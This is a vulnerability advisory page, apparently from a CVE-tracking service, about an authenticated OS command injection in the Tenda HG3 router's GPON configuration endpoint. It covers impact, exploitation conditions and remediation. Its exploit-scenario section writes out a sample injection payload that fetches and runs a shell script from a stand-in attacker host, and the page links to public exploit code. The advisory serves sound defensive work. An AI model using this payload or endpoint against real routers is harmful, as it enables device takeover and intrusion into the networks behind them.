Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain router credentials via brute force or credential stuffing
-
DeliveryAuthenticate to web admin interface
-
ExploitNavigate to /boaform/admin/formgponConf
-
ExecutionInject OS commands in fmgpon_loid parameter
-
PersistExecute arbitrary code as root
-
ImpactDeploy persistent backdoor or pivot to LAN
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Valid administrative credentials to the Tenda HG3 router web interface are required (CVSS PR:L indicates low-privilege authentication). The router's administrative interface must be network-accessible to the attacker, either exposed to the internet or reachable after initial network compromise. The GPON configuration function (formgponConf) must be enabled and accessible at /boaform/admin/formgponConf, which is typically the default state in devices using GPON fiber optic connections. No special network conditions, user interaction (UI:N), or non-default configurations are required beyond authentication. Limiting factors that reduce exploitation likelihood: many Tenda HG3 routers may have management interfaces restricted to local network access only by default; ISP-managed devices may use non-default credentials; and the specific GPON configuration feature may not be exposed in all deployment scenarios depending on whether fiber optic (GPON) connectivity is used versus other WAN technologies. |
| Impact | Real-world risk is MODERATE-HIGH with important qualifications. CVSS 7.4 indicates high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with network attack vector (AV:N) and low complexity (AC:L), but critically requires low-privilege authentication (PR:L), meaning attackers need valid router credentials. CVSS 4.0 threat metric E:P confirms proof-of-concept exploitation exists. Public exploit availability substantially increases risk to organizations with weak router passwords or credential reuse. However, exploitation is NOT confirmed in CISA KEV, suggesting attacks remain opportunistic rather than widespread campaigns. EPSS data not provided for assessment. Primary risk scenarios: (1) credential stuffing attacks against exposed management interfaces, (2) lateral movement after initial network compromise, (3) supply chain attacks if default credentials unchanged. The requirement for authentication significantly reduces attack surface compared to unauthenticated command injection, but publicly available exploit code enables even low-skill attackers who obtain credentials through phishing, brute force, or leaked default passwords. |
| Exploit ScenarioDerived | An attacker performs credential stuffing attacks against internet-exposed Tenda HG3 router administrative interfaces using lists of default or commonly reused passwords. Upon successful authentication with low-privilege credentials (PR:L), the attacker accesses the GPON configuration page at /boaform/admin/formgponConf and injects shell metacharacters and commands into the fmgpon_loid parameter (e.g., '; wget http://attacker.com/malware.sh -O /tmp/m && sh /tmp/m;'). The vulnerable formgponConf function executes the injected command with router system privileges, allowing the attacker to download and execute malicious scripts, establish persistent backdoors, exfiltrate router configuration including ISP credentials, or pivot to attack other devices on the local network. Public exploit code detailed at https://www.notion.so/Tenda-HG3-3250c75766a880c7b50fde0466557c5f provides attack automation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 27, 2026
OS command injection in Tenda HG3 router version 2.0 (build 300003070) allows authenticated remote attackers to execute arbitrary system commands with router privileges via the fmgpon_loid parameter in the formgponConf administrative function. Public exploit code is available and confirmed usable for attacks per VulDB reporting, significantly lowering the skill barrier for exploitation despite requiring valid administrative credentials.
Earlier versions of this analysis (1)
OS command injection in Tenda HG3 firmware version 2.0.300003070 allows authenticated remote attackers to execute arbitrary system commands via the fmgpon_loid parameter in the formgponConf administrative function. The vulnerability requires low-privilege authentication but presents critical risk as a public proof-of-concept exploit exists (documented on Notion platform) that demonstrates remote command execution achieving full system compromise (high confidentiality, integrity, and availability impact per CVSS vector). EPSS data not available, not listed in CISA KEV, but publicly documented exploit code significantly lowers exploitation barrier for internet-exposed devices with default or weak administrative credentials.
RemediationAI
Check Tenda support site (https://www.tenda.com.cn/) for firmware updates beyond version 2.0 build 300003070, though no vendor-released patch is confirmed in available data at time of analysis. If firmware updates are unavailable or delayed, implement these compensating controls with noted trade-offs: (1) Disable remote administrative access to the router web interface and restrict management to local network only (reduces usability for remote management but eliminates network attack vector); (2) Change default administrative credentials to strong unique passwords exceeding 16 characters (mitigates credential stuffing but requires user action); (3) Implement network segmentation to isolate the vulnerable router from critical assets (limits lateral movement post-compromise but requires network redesign); (4) Deploy intrusion detection signatures monitoring for command injection patterns in HTTP POST requests to /boaform/admin/formgponConf (provides detection but not prevention); (5) If GPON configuration is not actively used, disable or restrict access to the formgponConf function through router configuration if possible (eliminates attack surface but may impact ISP-managed GPON features). Monitor VulDB entries https://vuldb.com/vuln/359671 and vendor advisories for patch availability.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the GPON (Gigabit Passive Optical Network) configuration interface of Tenda HG3 routers, specifically in the formgponConf function accessible at /boaform/admin/formgponConf. The flaw is a classic OS command injection (CWE-78) where unsanitized user input from the fmgpon_loid parameter (GPON Logical ONU ID) is passed directly to a system shell command. The affected product is identified by CPE cpe:2.3:a:tenda:hg3:*:*:*:*:*:*:*:* version 2.0 build 300003070. GPON optical network terminals typically run embedded Linux systems with limited input validation in web administration interfaces, making them frequent targets for command injection attacks. The administrative web interface uses the BOA web server, a lightweight HTTP server common in embedded devices.
Know when Hg3 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A security flaw has been discovered in Tenda HG3 2.0 300003070. This vulnerability affects the function formgponConf of the file /boaform/admin/formgponConf. The manipulation of the argument fmgpon_loid results in os command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.
Executive ViewAI
CVE-2026-7096 is a command injection vulnerability in Tenda HG3 routers (v2.0 build 300003070) that permits authenticated administrators to execute arbitrary system commands with full router privileges. Organizations operating this router model face insider threat risk and compromised-credential scenarios where attackers with administrative access can seize complete control of network infrastructure; this is critical for enterprises relying on Tenda equipment for branch office or customer-facing connectivity.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict administrative web console access to specific IP ranges or VPN-only; (2) Enforce strong, unique administrative credentials and rotate regularly; (3) Disable remote administration and require in-band management only; (4) Enable and monitor all diagnostic and administrative logs for suspicious formgponConf function calls; (5) Implement network access controls limiting management traffic to trusted administrative subnets; (6) Monitor for unauthorized configuration changes via configuration backup and periodic audits.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Command injection in the Tenda HG3 2.0 gateway/router allows an authenticated remote attacker to inject arbitrary OS com
Stack-based buffer overflow in the Tenda HG3 2.0 router allows authenticated remote attackers to corrupt memory by suppl
EUVD-2026-25786
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB